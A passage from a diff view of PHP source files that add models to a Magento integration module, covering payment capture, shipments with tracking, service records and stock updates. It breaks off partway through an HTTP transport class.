|
158 |
+
|
159 |
+
/**
|
160 |
+
* All item quantities need to be initialised to 0 otherwise their value will
|
161 |
+
* be included in the total amount to process for the object being created. However if
|
162 |
+
* no quantities have been provided, return an empty array to process the entire order.
|
163 |
+
*
|
164 |
+
* @return array
|
165 |
+
* @author Joseph McDermott <joseph.mcdermott@ampersandcommerce.com>
|
166 |
+
*/
|
167 |
+
protected function _initItemQuantities()
|
168 |
+
{
|
169 |
+
if (1 > count($this->getSkuQuantities())) {
|
170 |
+
return array();
|
171 |
+
}
|
172 |
+
|
173 |
+
$quantities = array();
|
174 |
+
|
175 |
+
foreach ($this->getOrder()->getAllItems() as $_item) {
|
176 |
+
$quantities[$_item->getId()] = 0;
|
177 |
+
}
|
178 |
+
|
179 |
+
return $quantities;
|
180 |
+
}
|
181 |
+
|
182 |
+
/**
|
183 |
+
* @param Mage_Sales_Model_Order $order
|
184 |
+
* @param string $sku
|
185 |
+
* @return null|Mage_Sales_Model_Order_Item
|
186 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
187 |
+
*/
|
188 |
+
protected function _getOrderItemBySku(Mage_Sales_Model_Order $order, $sku)
|
189 |
+
{
|
190 |
+
$sku = trim($sku);
|
191 |
+
foreach ($order->getAllItems() as $_item) {
|
192 |
+
if (0 == strcasecmp($sku, trim($_item->getSku()))) {
|
193 |
+
return $_item;
|
194 |
+
}
|
195 |
+
}
|
196 |
+
|
197 |
+
return null;
|
198 |
+
}
|
199 |
+
|
200 |
+
public function addProductQuantity($sku, $quantity)
|
201 |
+
{
|
202 |
+
$skuQuantities = $this->getDataSetDefault('sku_quantities', array());
|
203 |
+
|
204 |
+
if (!array_key_exists($sku, $skuQuantities)) {
|
205 |
+
$skuQuantities[$sku] = 0;
|
206 |
+
}
|
207 |
+
|
208 |
+
$skuQuantities[$sku] += $quantity;
|
209 |
+
|
210 |
+
$this->setSkuQuantities($skuQuantities);
|
211 |
+
|
212 |
+
return $this;
|
213 |
+
}
|
214 |
+
|
215 |
+
/**
|
216 |
+
* @return array
|
217 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
218 |
+
*/
|
219 |
+
public function getSkuQuantities()
|
220 |
+
{
|
221 |
+
return $this->getDataSetDefault('sku_quantities', array());
|
222 |
+
}
|
223 |
+
}
|
app/code/core/Ampersand/Integration/Model/Payment.php
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Payment extends Ampersand_Integration_Model_OrderAbstract
|
19 |
+
{
|
20 |
+
public function capture()
|
21 |
+
{
|
22 |
+
$invoiceIncrementId = Mage::getModel('sales/order_invoice_api')->create(
|
23 |
+
$this->getOrderIncrementId(), $this->getQuantities()
|
24 |
+
);
|
25 |
+
|
26 |
+
$this->setIncrementId($invoiceIncrementId);
|
27 |
+
|
28 |
+
try {
|
29 |
+
Mage::getModel('sales/order_invoice_api')->capture($invoiceIncrementId);
|
30 |
+
} catch (Exception $e) {
|
31 |
+
Mage::getModel('sales/order_invoice_api')->cancel($invoiceIncrementId);
|
32 |
+
throw $e;
|
33 |
+
}
|
34 |
+
|
35 |
+
return $this;
|
36 |
+
}
|
37 |
+
}
|
app/code/core/Ampersand/Integration/Model/Service.php
ADDED
@@ -0,0 +1,127 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Service extends Ampersand_Integration_Service
|
19 |
+
{
|
20 |
+
protected $_serviceId;
|
21 |
+
protected $_serviceCode;
|
22 |
+
protected $_currentStore;
|
23 |
+
|
24 |
+
public function __construct($serviceCode = null)
|
25 |
+
{
|
26 |
+
$baseOutgoingMessageConfig = $this->_getBaseOutgoingMessageConfig();
|
27 |
+
$this->_prepareOutgoingMessageConfig($baseOutgoingMessageConfig);
|
28 |
+
$this->setBaseOutgoingMessageConfig($baseOutgoingMessageConfig);
|
29 |
+
|
30 |
+
$baseIncomingMessageConfig = $this->_getBaseIncomingMessageConfig();
|
31 |
+
$this->_prepareIncomingMessageConfig($baseIncomingMessageConfig);
|
32 |
+
$this->setBaseIncomingMessageConfig($baseIncomingMessageConfig);
|
33 |
+
|
34 |
+
if (!$serviceCode) {
|
35 |
+
$serviceCode = $this->_getServiceCode();
|
36 |
+
}
|
37 |
+
$this->setXmlNamespace($serviceCode);
|
38 |
+
}
|
39 |
+
|
40 |
+
protected function _getBaseOutgoingMessageConfig()
|
41 |
+
{
|
42 |
+
return Mage::helper('ampersand_integration/message')->getBaseOutgoingConfig();
|
43 |
+
}
|
44 |
+
|
45 |
+
protected function _prepareOutgoingMessageConfig(
|
46 |
+
Ampersand_Integration_Message_Config_Outgoing $outgoingMessageConfig
|
47 |
+
) {
|
48 |
+
|
49 |
+
}
|
50 |
+
|
51 |
+
protected function _getBaseIncomingMessageConfig()
|
52 |
+
{
|
53 |
+
return Mage::helper('ampersand_integration/message')->getBaseIncomingConfig();
|
54 |
+
}
|
55 |
+
|
56 |
+
protected function _prepareIncomingMessageConfig(
|
57 |
+
Ampersand_Integration_Message_Config_Incoming $incomingMessageConfig
|
58 |
+
) {
|
59 |
+
|
60 |
+
}
|
61 |
+
|
62 |
+
public function getServiceId()
|
63 |
+
{
|
64 |
+
if (is_null($this->_serviceId)) {
|
65 |
+
$this->_serviceId = Mage::getSingleton('ampersand_integration/service_info')
|
66 |
+
->getIdByCode($this->_serviceCode);
|
67 |
+
}
|
68 |
+
|
69 |
+
return $this->_serviceId;
|
70 |
+
}
|
71 |
+
|
72 |
+
public function getLastMessageId()
|
73 |
+
{
|
74 |
+
return $this->getLastMessageDebug()->getMessageId();
|
75 |
+
}
|
76 |
+
|
77 |
+
/**
|
78 |
+
* Adds a flag against this service with the provided flag data
|
79 |
+
*
|
80 |
+
* @param array $flagData
|
81 |
+
* @return Ampersand_Integration_Model_Service
|
82 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
83 |
+
*/
|
84 |
+
public function createFlag($flagData)
|
85 |
+
{
|
86 |
+
$flag = Mage::getModel('ampersand_integration/flag')
|
87 |
+
->setData($flagData);
|
88 |
+
|
89 |
+
if (!$flag->hasData('service_id')) {
|
90 |
+
$flag->setServiceId($this->getServiceId());
|
91 |
+
}
|
92 |
+
|
93 |
+
$flag->save();
|
94 |
+
|
95 |
+
return $this;
|
96 |
+
}
|
97 |
+
|
98 |
+
public function getServiceCode()
|
99 |
+
{
|
100 |
+
return $this->_getServiceCode();
|
101 |
+
}
|
102 |
+
|
103 |
+
protected function _getServiceCode()
|
104 |
+
{
|
105 |
+
return $this->_serviceCode;
|
106 |
+
}
|
107 |
+
|
108 |
+
public function setCurrentStore($store)
|
109 |
+
{
|
110 |
+
try {
|
111 |
+
$this->_currentStore = Mage::app()->getStore($store);
|
112 |
+
} catch (Exception $e) {
|
113 |
+
// possibly trying to set store to the current store?
|
114 |
+
}
|
115 |
+
|
116 |
+
return $this;
|
117 |
+
}
|
118 |
+
|
119 |
+
public function getCurrentStore()
|
120 |
+
{
|
121 |
+
if (is_null($this->_currentStore)) {
|
122 |
+
return Mage::app()->getStore();
|
123 |
+
}
|
124 |
+
|
125 |
+
return $this->_currentStore;
|
126 |
+
}
|
127 |
+
}
|
app/code/core/Ampersand/Integration/Model/Service/CollectionAbstract.php
ADDED
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
abstract class Ampersand_Integration_Model_Service_CollectionAbstract extends Varien_Data_Collection
|
3 |
+
{
|
4 |
+
protected $_data;
|
5 |
+
|
6 |
+
public function load($printQuery = false, $logQuery = false)
|
7 |
+
{
|
8 |
+
if ($this->isLoaded()) {
|
9 |
+
return $this;
|
10 |
+
}
|
11 |
+
|
12 |
+
$this->_beforeLoad();
|
13 |
+
|
14 |
+
$datas = $this->getData();
|
15 |
+
|
16 |
+
foreach ($datas as $_itemData) {
|
17 |
+
$_item = $this->_getPreparedItem($_itemData);
|
18 |
+
$this->addItem($_item);
|
19 |
+
}
|
20 |
+
|
21 |
+
$this->_setIsLoaded();
|
22 |
+
$this->_afterLoad();
|
23 |
+
|
24 |
+
return $this;
|
25 |
+
}
|
26 |
+
|
27 |
+
protected function _getPreparedItem($data)
|
28 |
+
{
|
29 |
+
$item = $this->getNewEmptyItem();
|
30 |
+
$this->_prepareItem($item, $data);
|
31 |
+
|
32 |
+
return $item;
|
33 |
+
}
|
34 |
+
|
35 |
+
protected function _prepareItem($item, $data)
|
36 |
+
{
|
37 |
+
$item->addData($data);
|
38 |
+
}
|
39 |
+
|
40 |
+
public function getData()
|
41 |
+
{
|
42 |
+
if (!$this->isLoaded()) {
|
43 |
+
$this->loadData();
|
44 |
+
}
|
45 |
+
|
46 |
+
return $this->_data;
|
47 |
+
}
|
48 |
+
|
49 |
+
protected function _beforeLoad()
|
50 |
+
{
|
51 |
+
|
52 |
+
}
|
53 |
+
|
54 |
+
protected function _afterLoad()
|
55 |
+
{
|
56 |
+
|
57 |
+
}
|
58 |
+
}
|
app/code/core/Ampersand/Integration/Model/Service/Info.php
ADDED
@@ -0,0 +1,48 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Service_Info extends Ampersand_Core_Model_Abstract
|
19 |
+
{
|
20 |
+
protected function _construct()
|
21 |
+
{
|
22 |
+
$this->_init('ampersand_integration/service_info');
|
23 |
+
}
|
24 |
+
|
25 |
+
public function getIdByCode($code, $createIfNotExists = true)
|
26 |
+
{
|
27 |
+
$id = $this->getResource()->getIdByCode($code);
|
28 |
+
|
29 |
+
if (!$id && $createIfNotExists) {
|
30 |
+
$id = Mage::getModel('ampersand_integration/service_info')
|
31 |
+
->setCode($code)
|
32 |
+
->save()
|
33 |
+
->getId()
|
34 |
+
;
|
35 |
+
}
|
36 |
+
|
37 |
+
return $id;
|
38 |
+
}
|
39 |
+
|
40 |
+
public function getDescription()
|
41 |
+
{
|
42 |
+
if (!$description = $this->getData('description')) {
|
43 |
+
return $this->getData('code');
|
44 |
+
}
|
45 |
+
|
46 |
+
return $description;
|
47 |
+
}
|
48 |
+
}
|
app/code/core/Ampersand/Integration/Model/Shipment.php
ADDED
@@ -0,0 +1,72 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Shipment extends Ampersand_Integration_Model_OrderAbstract
|
19 |
+
{
|
20 |
+
public function create()
|
21 |
+
{
|
22 |
+
return $this->ship();
|
23 |
+
}
|
24 |
+
|
25 |
+
public function ship()
|
26 |
+
{
|
27 |
+
$shipmentIncrementId = Mage::getModel('sales/order_shipment_api')->create(
|
28 |
+
$this->getOrderIncrementId(), $this->getQuantities(),
|
29 |
+
$this->getComment(), !$this->getTrackCode(), false
|
30 |
+
);
|
31 |
+
|
32 |
+
if ($this->getTrackCode()) {
|
33 |
+
$this->_addTrack(
|
34 |
+
$this->getOrderIncrementId(), $shipmentIncrementId,
|
35 |
+
$this->getMethod(), $this->getTrackCode()
|
36 |
+
);
|
37 |
+
|
38 |
+
Mage::getModel('sales/order_shipment')
|
39 |
+
->loadByIncrementId($shipmentIncrementId)
|
40 |
+
->sendEmail(true)
|
41 |
+
->setEmailSent(true)
|
42 |
+
->save();
|
43 |
+
}
|
44 |
+
|
45 |
+
$this->setIncrementId($shipmentIncrementId);
|
46 |
+
|
47 |
+
return $this;
|
48 |
+
}
|
49 |
+
|
50 |
+
protected function _addTrack($orderIncrementId, $shipmentIncrementId, $method, $trackCode)
|
51 |
+
{
|
52 |
+
list($carrierCode) = explode('_', $method, 2);
|
53 |
+
|
54 |
+
if ($carrierCode) {
|
55 |
+
$carriers = Mage::getModel('sales/order_shipment_api')
|
56 |
+
->getCarriers($orderIncrementId);
|
57 |
+
if (isset($carriers[$carrierCode])) {
|
58 |
+
$carrierTitle = $carriers[$carrierCode];
|
59 |
+
} else {
|
60 |
+
$carrierCode = null;
|
61 |
+
}
|
62 |
+
}
|
63 |
+
|
64 |
+
if (!$carrierCode) {
|
65 |
+
$carrierCode = 'custom';
|
66 |
+
$carrierTitle = $method;
|
67 |
+
}
|
68 |
+
|
69 |
+
Mage::getModel('sales/order_shipment_api')
|
70 |
+
->addTrack($shipmentIncrementId, $carrierCode, $carrierTitle, $trackCode);
|
71 |
+
}
|
72 |
+
}
|
app/code/core/Ampersand/Integration/Model/Status.php
ADDED
@@ -0,0 +1,35 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Status extends Ampersand_Core_Model_Abstract
|
19 |
+
{
|
20 |
+
protected function _construct()
|
21 |
+
{
|
22 |
+
$this->_init('ampersand_integration/status');
|
23 |
+
}
|
24 |
+
|
25 |
+
public function getService()
|
26 |
+
{
|
27 |
+
if (!$this->hasData('service') && $this->getServiceId()) {
|
28 |
+
$service = Mage::getModel('ampersand_integration/service_info')
|
29 |
+
->load($this->getServiceId());
|
30 |
+
$this->setService($service);
|
31 |
+
}
|
32 |
+
|
33 |
+
return $this->getData('service');
|
34 |
+
}
|
35 |
+
}
|
app/code/core/Ampersand/Integration/Model/StockUpdate.php
ADDED
@@ -0,0 +1,171 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_StockUpdate extends Ampersand_Core_Model_Abstract
|
19 |
+
{
|
20 |
+
const TIME_LIMIT_SECONDS = 240;
|
21 |
+
|
22 |
+
protected $_startTime;
|
23 |
+
|
24 |
+
protected function _construct()
|
25 |
+
{
|
26 |
+
$this->_init('ampersand_integration/stockUpdate');
|
27 |
+
}
|
28 |
+
|
29 |
+
/**
|
30 |
+
* @param bool $saveStockItem OPTIONAL
|
31 |
+
* @return Ampersand_Integration_Model_StockUpdate
|
32 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
33 |
+
*/
|
34 |
+
public function processAll($saveStockItem = true)
|
35 |
+
{
|
36 |
+
if (!$this->_getIsStockManagementEnabled()
|
37 |
+
|| !Mage::helper('ampersand_core')->lock('integration/process_all_stock_updates')
|
38 |
+
|| !$skusToUpdate = $this->_getSkusToUpdate(2 * self::TIME_LIMIT_SECONDS)
|
39 |
+
) {
|
40 |
+
return $this;
|
41 |
+
}
|
42 |
+
|
43 |
+
$originalStoreId = Mage::app()->getStore()->getId();
|
44 |
+
|
45 |
+
Mage::app()->getStore()->setId(Mage_Core_Model_App::ADMIN_STORE_ID);
|
46 |
+
|
47 |
+
$this->_startTime = microtime(true);
|
48 |
+
|
49 |
+
foreach ($skusToUpdate as $_sku) {
|
50 |
+
if ($this->_getHasTimeExpired()) {
|
51 |
+
break;
|
52 |
+
}
|
53 |
+
|
54 |
+
Mage::getModel('ampersand_integration/stockUpdate')
|
55 |
+
->load($_sku)
|
56 |
+
->process($saveStockItem)
|
57 |
+
;
|
58 |
+
}
|
59 |
+
|
60 |
+
Mage::app()->getStore()->setId($originalStoreId);
|
61 |
+
|
62 |
+
Mage::helper('ampersand_core')->unlock('integration/process_all_stock_updates');
|
63 |
+
|
64 |
+
return $this;
|
65 |
+
}
|
66 |
+
|
67 |
+
/**
|
68 |
+
* @return bool
|
69 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
70 |
+
*/
|
71 |
+
protected function _getIsStockManagementEnabled()
|
72 |
+
{
|
73 |
+
$configPath = Mage_CatalogInventory_Model_Stock_Item::XML_PATH_MANAGE_STOCK;
|
74 |
+
|
75 |
+
return Mage::getStoreConfigFlag($configPath);
|
76 |
+
}
|
77 |
+
|
78 |
+
/**
|
79 |
+
* @param int $limit OPTIONAL
|
80 |
+
* @return array
|
81 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
82 |
+
*/
|
83 |
+
protected function _getSkusToUpdate($limit = null)
|
84 |
+
{
|
85 |
+
return Mage::getResourceModel('ampersand_integration/stockUpdate_collection')
|
86 |
+
->setOrder('created_at', 'asc')
|
87 |
+
->setPageSize($limit)
|
88 |
+
->getAllIds()
|
89 |
+
;
|
90 |
+
}
|
91 |
+
|
92 |
+
/**
|
93 |
+
* @return bool
|
94 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
95 |
+
*/
|
96 |
+
protected function _getHasTimeExpired()
|
97 |
+
{
|
98 |
+
return $this->_getElapsedTime() >= self::TIME_LIMIT_SECONDS;
|
99 |
+
}
|
100 |
+
|
101 |
+
/**
|
102 |
+
* @return double
|
103 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
104 |
+
*/
|
105 |
+
protected function _getElapsedTime()
|
106 |
+
{
|
107 |
+
$time = microtime(true);
|
108 |
+
|
109 |
+
return $time - $this->_startTime;
|
110 |
+
}
|
111 |
+
|
112 |
+
/**
|
113 |
+
* @param bool $saveStockItem OPTIONAL
|
114 |
+
* @return Ampersand_Integration_Model_StockUpdate
|
115 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
116 |
+
*/
|
117 |
+
public function process($saveStockItem = true)
|
118 |
+
{
|
119 |
+
$product = $this->getProduct();
|
120 |
+
if ($product->getId()) {
|
121 |
+
$stockItem = $product->getStockItem();
|
122 |
+
$quantity = $this->getQuantity();
|
123 |
+
$this->_updateStockItem($stockItem, $quantity, $saveStockItem);
|
124 |
+
}
|
125 |
+
|
126 |
+
if ($this->getId()) {
|
127 |
+
$this->delete();
|
128 |
+
}
|
129 |
+
|
130 |
+
return $this;
|
131 |
+
}
|
132 |
+
|
133 |
+
/**
|
134 |
+
* @return Mage_Catalog_Model_Product
|
135 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
136 |
+
*/
|
137 |
+
public function getProduct()
|
138 |
+
{
|
139 |
+
if (!$this->hasProduct()) {
|
140 |
+
$product = Mage::getModel('catalog/product');
|
141 |
+
if ($productId = $product->getIdBySku($this->getSku())) {
|
142 |
+
$product->load($productId);
|
143 |
+
}
|
144 |
+
$this->setProduct($product);
|
145 |
+
}
|
146 |
+
|
147 |
+
return $this->getData('product');
|
148 |
+
}
|
149 |
+
|
150 |
+
/**
|
151 |
+
* @param object $stockItem
|
152 |
+
* @param number $quantity
|
153 |
+
* @param bool $saveStockItem
|
154 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
155 |
+
*/
|
156 |
+
protected function _updateStockItem($stockItem, $quantity, $saveStockItem)
|
157 |
+
{
|
158 |
+
$isInStock = $stockItem->getBackorders() || $quantity > ((double) $stockItem->getMinQty());
|
159 |
+
if ($isInStock != $stockItem->getIsInStock() || $quantity != $stockItem->getQty()) {
|
160 |
+
$stockItem->setIsInStock($isInStock)
|
161 |
+
->setQty($quantity);
|
162 |
+
if (!$stockItem->getData('stock_id')) {
|
163 |
+
$stockItem->setStockId(Mage_CatalogInventory_Model_Stock::DEFAULT_STOCK_ID);
|
164 |
+
}
|
165 |
+
|
166 |
+
if ($saveStockItem) {
|
167 |
+
$stockItem->save();
|
168 |
+
}
|
169 |
+
}
|
170 |
+
}
|
171 |
+
}
|
app/code/core/Ampersand/Integration/Model/Transport/Incoming/Http.php
ADDED
@@ -0,0 +1,93 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Transport_Incoming_Http extends Ampersand_Integration_Transport_Incoming_Http
|
19 |
+
{
|
20 |
+
protected $_lastResponseHeaders;
|
21 |
+
protected $_lastResponseBody;
|
22 |
+
|
23 |
+
/**
|
24 |
+
* @return Mage_Core_Controller_Varien_Front
|
25 |
+
*/
|
26 |
+
protected function _getController()
|
27 |
+
{
|
28 |
+
return Mage::app()->getFrontController();
|
29 |
+
}
|
30 |
+
|
31 |
+
/**
|
32 |
+
* @return Mage_Core_Controller_Request_Http
|
33 |
+
*/
|
34 |
+
protected function _getRequest()
|
35 |
+
{
|
36 |
+
return $this->_getController()->getRequest();
|
37 |
+
}
|
38 |
+
|
39 |
+
/**
|
40 |
+
* @return Zend_Controller_Response_Http
|
41 |
+
*/
|
42 |
+
protected function _getResponse()
|
43 |
+
{
|
44 |
+
return $this->_getController()->getResponse();
|
45 |
+
}
|
46 |
+
|
47 |
+
protected function _getContent()
|
48 |
+
{
|
49 |
+
$request = $this->_getRequest();
|
50 |
+
|
51 |
+
switch ($request->getMethod()) {
|
52 |
+
case Zend_Http_Client::GET:
|
53 |
+
$content = $request->getParams();
|
54 |
+
break;
|
55 |
+
case Zend_Http_Client::POST:
|
56 |
+
